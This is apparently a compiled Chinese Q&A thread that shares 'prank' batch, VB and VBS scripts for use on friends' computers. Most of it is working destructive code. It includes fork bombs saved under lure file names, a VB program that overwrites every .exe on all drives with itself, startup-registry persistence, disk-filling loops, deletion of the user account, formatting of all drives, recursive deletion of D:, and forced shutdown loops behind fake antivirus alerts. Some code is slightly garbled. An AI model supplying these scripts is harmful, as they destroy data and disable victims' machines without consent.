求一些好玩的整人代码？

.bat文件

【测试平台】32bit XP

【功能】让电脑死机

-----代码开始------

%0|%0

-----代码结束------

使用 *** ：

1、新建个文档【别告我你不会】

2、复制粘贴那段代码

3、保存为XXXXX.bat【XXXXX为随意名字，比如刷钻什么的，怎么诱惑怎么写】

4、运行【再次警告，该代码执行后无法通过任务管理器结束，只能重启或者等他死机然后重启】

【郑重警告！】

更好别拿自己电脑测试，否则后果自负，也别没看该警告就去举报我！由此代码造成的一切后果不承担一切责任！【被朋友打自负……?】

【代码原理】

通过不停的调用cmd.exe造成系统资源消耗，理论CPU越好，资源消耗越快，死机越快。【双核笔记本实测2分钟之内准死机】

求一些VB恶搞代码。效果越厉害越好，例如：蓝屏.等等

电脑桌面融化，这段代码真的很强悍 ！ 居然搞的我看不到屏幕 ， 就像雪糕一样被融化了； Private Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long

Private Declare Function GetDesktopWindow Lib "user32" () As Long

Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long

Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long

Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long

Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long

Private Const SRCCOPY = HCC0020 ' (DWORD) dest = source

Dim x As Integer, y As Integer

Dim Buffer As Long, hBitmap As Long, Desktop As Long, hScreen As Long, ScreenBuffer As Long

Private Declare Sub InvalidateRect Lib "user32" (ByVal hwnd As Long, lpRect As Any, ByVal bErase As Long)

Private Sub Form_Load()

Me.Hide

Desktop = GetWindowDC(GetDesktopWindow())

hBitmap = CreateCompatibleDC(Desktop)

hScreen = CreateCompatibleDC(Desktop)

Buffer = CreateCompatibleBitmap(Desktop, 32, 32)

ScreenBuffer = CreateCompatibleBitmap(Desktop, Screen.Width / 15, Screen.Height / 15)

SelectObject hBitmap, Buffer

SelectObject hScreen, ScreenBuffer

BitBlt hScreen, 0, 0, Screen.Width / 15, Screen.Height / 15, Desktop, 0, 0, SRCCOPY

For i = 0 To 1E+17

y = (Screen.Height / 15) * Rnd

x = (Screen.Width / 15) * Rnd

BitBlt hBitmap, 0, 0, 32, 32, Desktop, x, y, SRCCOPY

BitBlt Desktop, x + (1 - 2 * Rnd), y + (1 - 2 * Rnd), 32, 32, hBitmap, 0, 0, SRCCOPY

DoEvents

Next i

End Sub 还有个杀手锏；一段要人命的vb代码

-----------------------------------------------声明---------------------------------------------------------------

’如果您在没有读懂代码的情况下请不要生成exe文件运行.............否则不要怪我没提醒你。。。。。。。

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Form_Load()

On Error Resume Next ’容错句

If Dir("c:\123.txt") = "" Then ’如果123.txt不存在则创建 bat遍历exe文件

Open "c:\a.bat" For Output As #1 ’打开bat文件

Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe e:\123.txt" ’写入数据

Close #1 ’关闭文件

Sleep 200 ’延时200秒等待文件生成（主要为了慢机器）

Shell "c:\a.bat", 0 ’隐藏运行之

End If

Sleep 60000 ’延时1分钟等待exe遍历完成

Dim A() As String

Dim C As Long, I As Integer

Open "c:\123.txt" For Input As #1 ’读取txt里面的内容

Do While EOF(1) = False

ReDim Preserve A(C)

Input #1, A(C)

C = C + 1

Loop

Close #1

For I = 0 To C - 1

FileCopy App.Path "\" App.EXEName ".exe", A(I) ’把txt里面的内容替换掉

Next

End Sub

/SPAN

求电脑恶搞代码

if not exist c:1.txt echo. c:1.txt goto err1

if not exist c:2.txt echo. c:2.txt goto err1

if not exist c:3.txt echo. c:3.txt goto err1

if not exist c:4.txt echo. c:4.txt goto err1

if not exist c:5.txt echo. c:5.txt goto err1

goto err2

:err1 shutdown -s -t 0

:err2 上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. c:6.txt goto err1那就是重启6次 改成7就是7次...

打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。

求一些好玩的整人代码~~

gsh=msgbox ("已经准备好格式化，准备开始。",vbyesno)

set s=createobject("wscript.shell")

wscript.sleep 1000

msgbox "开始格式化…… 哈哈！吓晕了吧，骗你的~"

wscript.sleep 1000

wscript.sleep 1000*100

msgbox "windows发现一重要更新，将自动下载。"

wscript.sleep 3000

msgbox "系统检测到WINDOWS更新中捆绑有不明插件SXS.exe,是否对其扫描？",vbyesno

wscript.sleep 1000

msgbox "文件名 SXS.exe"+CHR(13)+"发行者 田间的菜鸟 "+chr(13)+"安全评级 高危"+chr(13)+"建议 直接删除"+chr(13)+"病毒类型：木马",,"windows扫描附件"

msgbox "是否阻止其安装？",vbyesno

wscript.sleep 3000

msgbox "阻止失败！请检查防火墙是否开启！"

wscript.sleep 5000

msgbox "正在尝试强行删除…"

wscript.sleep 5000

msgbox "失败！"

wscript.sleep 5000

msgbox "您的电脑已陷入危险之中，请赶快扫描病毒！"

wscript.sleep 10000

s.sendkeys "% n"

s.run "taskkill /im *** .exe"

s.sendkeys "% n"

s.run "taskkill /im explorer.exe /f"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

s.sendkeys "% n"

msgbox "你好啊！"

wscript.sleep 3000

msgbox "很高兴见到你！"

wscript.sleep 3000

msgbox "您的电脑可能已经感染病毒！",,"WINDOWS防火墙警告"

wscript.sleep 3000

msgbox "我控制你的电脑了！"

wscript.sleep 3000

msgbox "不信？那我给你关机看看~"

s.run "shutdown -r -t 120"

msgbox "信了吧！"

msgbox "帮你解除关机……"

s.run "shutdown -a"

msgbox "再给你打开记事本写封信，劝你更好别动，要不然会引起系统混乱~"

s.run "notepad"

wscript.sleep 3000

s.sendkeys "Hello, I'm sorry I control your computer,"

wscript.sleep 3000

s.sendkeys " but the virus is false in, "

wscript.sleep 3000

s.sendkeys "only a joke, "

wscript.sleep 3000

s.sendkeys "please rest assured! "

wscript.sleep 3000

s.sendkeys "I no longer next "

wscript.sleep 3000

s.sendkeys "time so the whole you!"

wscript.sleep 3000

s.sendkeys" Goodbye!"

s.sendkeys"{enter}"

s.sendkeys"END"

wscript.sleep 1000

s.sendkeys"%{F4}"

msgbox "提示：刚才的“病毒”是假的，只不过是吓你玩玩~"

s.run "explorer"

好玩的整人代码有哪些？

Createobject("Wscript.shell").run "taskkill /f /im wscript.exe"

这个是一个清除器，你可以结束掉接下来你操作 当你打开其他VBS脚本时、不会关掉？ 就双击这个vbs脚本就可以了。

*** *** ：建立一个记事本。写下我告诉你的代码。 然后点击文件—留存为-选择所有文件，并且文件名为.vbs结尾【例如：我爱你.vbs】

供把资料和指示输入自动计算机或制表机的任何符号系统;亦指这种符号的记录(如靠打孔资料卡片或磁带上的受磁点。

bat整人代码

注意条款：全部代码没有正常解除方式，会对机器造成伤害，在实体机上实验概不负责！

@echo off

echo 开始

:2

start cmd.exe

goto 2

就是主要是利用goto 来跳转到:2

循环跳转...就是循环用start 打开CMD ^^

友情提示...死机不负责.......

也可以利用

别的

@echo off

net user

%0

这里的核心是%0 他表示本身 就是循环运行本身^^

这里循环运行net user

上面主要把别人电脑整死机

下面我们利用修改注册表来恶整

常见修改注册表

就是开机加载 这世界人都知道

@echo off

echo wahaha

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ctfmon.exe(开机加载文件的名字) /d C:\WINDOWS\system32\ctfmon.exe(这里是开机加载文件的路径)

这里可以添加一个开始我们弄的哪个strat 这个

@echo off

echo echo 开始 c:\windows\cnhacker.bat

echo :2 c:\windows\cnhacker.bat

echo start cmd.exe c:\windows\cnhacker.bat

echo goto 2c:\windows\cnhacker.bat

这里自动在windows下生成cnhacker.bat

然后利用上面开机加载 写起...就OK拉

修改IE栏

reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "window title" /t REG_SZ /d "要改的名字...." /f

屏蔽修改主页那里

reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HOMEPAGE /t REG_DWORD /d 00000001 /f

简单硬盘炸弹(多生成垃圾文章)

echo off

set a=0

:22

set /a a=%a%+1

echo laji C:\%a%.txt

goto 22

如何要效果好 更好加一段vbs代码 隐藏运行 在C盘制造大量的垃圾TXT文件

修改不电脑显示

REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 00000000 /f

把00000000 改成00000001 就可以恢复

这段大家不要实验......

就是利用%username%

net user %username% /del (删除当前使用的用户 不可以直接删除ADMINISTRATOR用户外)

造成你电脑上面ADMINISTRATOR桌面资料丢失

net user %username% /add

NET LOCALGROUP ADMINISTRATORS %username% /add

强行结束 *** ss.exe 进程

ntsd -c q -pn *** ss.exe (结束该进程你的电脑即将卡死鼠标不能用)

shutdown -a (放弃关闭计算机)

危险不要实验

迅速格式所有盘符

for /f %%i in (d:,e:f:g:h:) do format /q /y %%i

这个必须要利用记事本保存 然后.bat 才能够执行 在CMD下面 无法执行

这些都是病毒常见修改注册表的位置和脚本喜欢改的地方...比较常见!~~

颜色属性由两个十六进制数字指定 --

之一个为背景，第二个则为前景。

每个数字可以为以下任何值之一:

例如color 0d 它就是黑色背景 淡紫色字体

0 = 黑色 8 = 灰色

1 = 蓝色 9 = 淡蓝色

2 = 绿色 A = 淡绿色

3 = 湖蓝色 B = 淡浅绿色

4 = 红色 C = 淡红色

5 = 紫色 D = 淡紫色

6 = 黄色 E = 淡黄色

7 = 白色 F = 亮白色

有没有一些恶搞别人的vbs代码

自编vbs仅供娱乐！！！

set qstart = wscript.CreateObject("wscript.shell")

set qweb = CreateObject("Wscript.Shell")

set qwrite = CreateObject("scripting.filesystemobject")

set qsay = CreateObject("sapi.spvoice")

qstart.run "D:\病毒BGM.mp3" '《江南皮革厂倒闭了》

msgbox "您的电脑已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"

qstart.run "cmd.exe /c start appwiz.cpl"

qstart.run "cmd.exe /c start bthprops.cpl"

qstart.run "cmd.exe /c start calc.exe"

qstart.run "cmd.exe /c start cleanmgr.exe"

qstart.run "cmd.exe /c start cmd.exe"

qstart.run "cmd.exe /c start colorcpl.exe"

qstart.run "cmd.exe /c start control.exe"

qstart.run "cmd.exe /c start cttune.exe"

qstart.run "cmd.exe /c start desk.cpl"

qstart.run "cmd.exe /c start dfrgui.exe"

qstart.run "cmd.exe /c start dxdiag.exe"

qstart.run "cmd.exe /c start FileHistory.exe"

qstart.run "cmd.exe /c start Firewall.cpl"

qstart.run "cmd.exe /c start Fondue.exe"

qstart.run "cmd.exe /c start fontview.exe"

qstart.run "cmd.exe /c start fsquirt.exe"

qstart.run "cmd.exe /c start hdwwiz.cpl"

qstart.run "cmd.exe /c start inetcpl.cpl"

qstart.run "cmd.exe /c start intl.cpl"

qstart.run "cmd.exe /c start irprops.cpl"

qstart.run "cmd.exe /c start joy.cpl"

qstart.run "cmd.exe /c start LaunchTM.exe"

qstart.run "cmd.exe /c start Magnify.exe"

qstart.run "cmd.exe /c start main.cpl"

qstart.run "cmd.exe /c start mblctr.exe"

qstart.run "cmd.exe /c start mmsys.cpl"

qstart.run "cmd.exe /c start msinfo32.exe"

qstart.run "cmd.exe /c start mspaint.exe"

qstart.run "cmd.exe /c start ncpa.cpl"

qstart.run "cmd.exe /c start notepad.exe"

qstart.run "cmd.exe /c start powercfg.cpl"

qstart.run "cmd.exe /c start RTSnMg64.cpl"

qstart.run "cmd.exe /c start SnippingTool.exe"

qstart.run "cmd.exe /c start sysdm.cpl"

qstart.run "cmd.exe /c start TabletPC.cpl"

qstart.run "cmd.exe /c start telephon.cpl"

qstart.run "cmd.exe /c start timedate.cpl"

qstart.run "cmd.exe /c start write.exe"

qstart.run "cmd.exe /c start wscript.exe"

qstart.run "cmd.exe /c start wscui.cpl"

qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"

qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"

qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"

qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"

qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"

qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"

qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"

qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"

wscript.sleep 25000

qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在60秒后自动关机"" ",0,true

qstart.run "cmd.exe /c echo 滚|clip"

A = INPUTBOX ("说！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滚”已复制到剪贴板，可以粘贴。）","360 Defender","不是",8000,7000)

IF A = "是" then

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox "好的，现在您可以下载360安全卫士来杀毒了。",vbokonly,"360 Defender"

do

qweb.run"https://hao.360.com/"

loop

ELSEIF A = "不是" then

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎么这么懒呢？",vbokonly+vbQuestion,"360 Defender"

msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是时候锻炼锻炼了",vbokonly+vbInformation,"360 Defender"

msgbox "游戏规则：在开始后，请及时点击 “确定” 键来取消关机。"+chr(13)+"现在您可以把这个窗口x掉，或者点击确定，来开始游戏。",vbokonly+vbInformation,"360 Defender"

do

qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true

msgbox "取消关机",vbokonly,"360 Defender"

qstart.run "cmd.exe /c shutdown -a",0,true

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

loop

ELSEIF A = "" then

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox "周鸿祎表示无语。"+chr(13)+chr(13)+chr(13)+"这样是不可能解决问题的",vbokonly,"360 Defender"

msgbox "自己探寻吧",vbokonly,"360 Defender"

do

qstart.run "cmd.exe /c shutdown -s -t 5",0,true

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd"

qstart.run "cmd.exe /c shutdown -a",0,true

loop

ELSEIF A = "滚" then

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox "emmmmmmmm",vbokonly,"360 Defender"

set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)

qwriteb.WriteLine "wscript.CreateObject(" chr(34) "wscript.shell" chr(34) ").run " chr(34) "D:\1.vbs" chr(34)

qwriteb.WriteLine "msgbox " chr(34) "滚" chr(34) ",vbokonly+vbinformation," chr(34) "360 Defender" chr(34)

qwriteb.close

qwrite.movefile "D:\1.txt","D:\1.vbs"

qstart.run "D:\1.vbs"

ELSE

qstart.run "cmd.exe /c shutdown -a",0,true

msgbox "由于您在说废话，但是您一定不想浪费时间说废话，所以该电脑对您有害。浪费别人时间就是谋财害命 ( 鲁迅 ) 。360积极维护您的财产权和生命健康权，决定不砸掉您的电脑。"+chr(13)+chr(13)+"那现在先把C盘给抹咯！",vbokonly+vbInformation,"360 Defender"

qsay.speak ("在抹掉C盘的过程中，您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qweb.run"https://hao.360.com/"

qstart.run "cmd.exe /c shutdown -r -t 5",0,true

END IF

有没有恶搞朋友的，给他电脑发个文件就会让他自动关机的代码？

vbs整人代码大 *** ，收集的比较全，喜欢的朋友可以参考下。不要搞破坏，学习vbs的朋友非常有帮助，死循环的使用比较多。新建一个记事本 把下面的代码复制进去 另存为VBE格式的就可以了 ：

一、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈

do

msgbox "You are foolish!"

loop

二、打开无数个计算器，直到死机

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

三、直接关机

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

四、删除D:\所有文件

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

五、不断弹出窗口

while(1)

msgbox "哈哈 你被耍了！"

loop

六、不断按下alt+f4 （开什么都关闭……）

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}" loop

七、按500次回车

(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)

dim s

do until s=500

s=s+1

msgbox "哥们，给我按500次回车吧",64

loop

八、关不掉的窗口

WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"TSName)

WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉，这你都不知道吗？")

WScript.Echo("怎么才来，说~是不是不关心我") WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")

WScript.Echo("小强很生气，后果很严重哦。") WScript.Echo("嘿嘿！你也会很惨滴哦")

WScript.Echo("是不是想清除我？") WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")

WScript.Echo("还剩49下，快点点哦") WScript.Echo("还剩48下，快点，小笨蛋！")

WScript.Echo("还剩47下对，就这样快点点！") WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")

WScript.Echo("还剩45下，记得要快哦！") WScript.Echo("还剩43下")

WScript.Echo("还剩42下")

WScript.Echo("还剩41下") WScript.Echo("还剩40下")

WScript.Echo("还剩39下")

WScript.Echo("还剩38下") WScript.Echo("还剩37下")

WScript.Echo("还剩36下")

WScript.Echo("还剩35下") WScript.Echo("还剩34下")

WScript.Echo("还剩33下")

WScript.Echo("还剩32下") WScript.Echo("还剩30下")

WScript.Echo("还剩29下")

WScript.Echo("还剩28下") WScript.Echo("还剩27下")

WScript.Echo("还剩26下")

WScript.Echo("还剩25下") WScript.Echo("还剩24下")

WScript.Echo("还剩23下")

WScript.Echo("还剩22下") WScript.Echo("还剩21下")

WScript.Echo("还剩20下")

WScript.Echo("还剩19下") WScript.Echo("还剩18下")

WScript.Echo("还剩17下")

WScript.Echo("还剩16下") WScript.Echo("还剩15下")

WScript.Echo("还剩14下") WScript.Echo("还剩13下停停！！！慢点，我有话要说")

WScript.Echo("还剩12下，你继续点我就会消失滴") WScript.Echo("还剩11下，以后就看不到我拉。555555")

WScript.Echo("还剩10下，你现在可以选择停止！") WScript.Echo("还剩9下。你还点啊，不要我拉？")

WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家") WScript.Echo("还剩7下。疯了，你有点负意！")

WScript.Echo("还剩6下。对。你就点吧，我恨你！") WScript.Echo("还剩5下，不明白，删除我你就好吗？")

WScript.Echo("还剩4下！真要删除我？") WScript.Echo("还剩3下。可是我真的很眷恋你。。。")

WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！") WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！") WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")

WScript.Echo("想结素我么?那你就再多点一次")

为了友谊的小船，请谨慎使用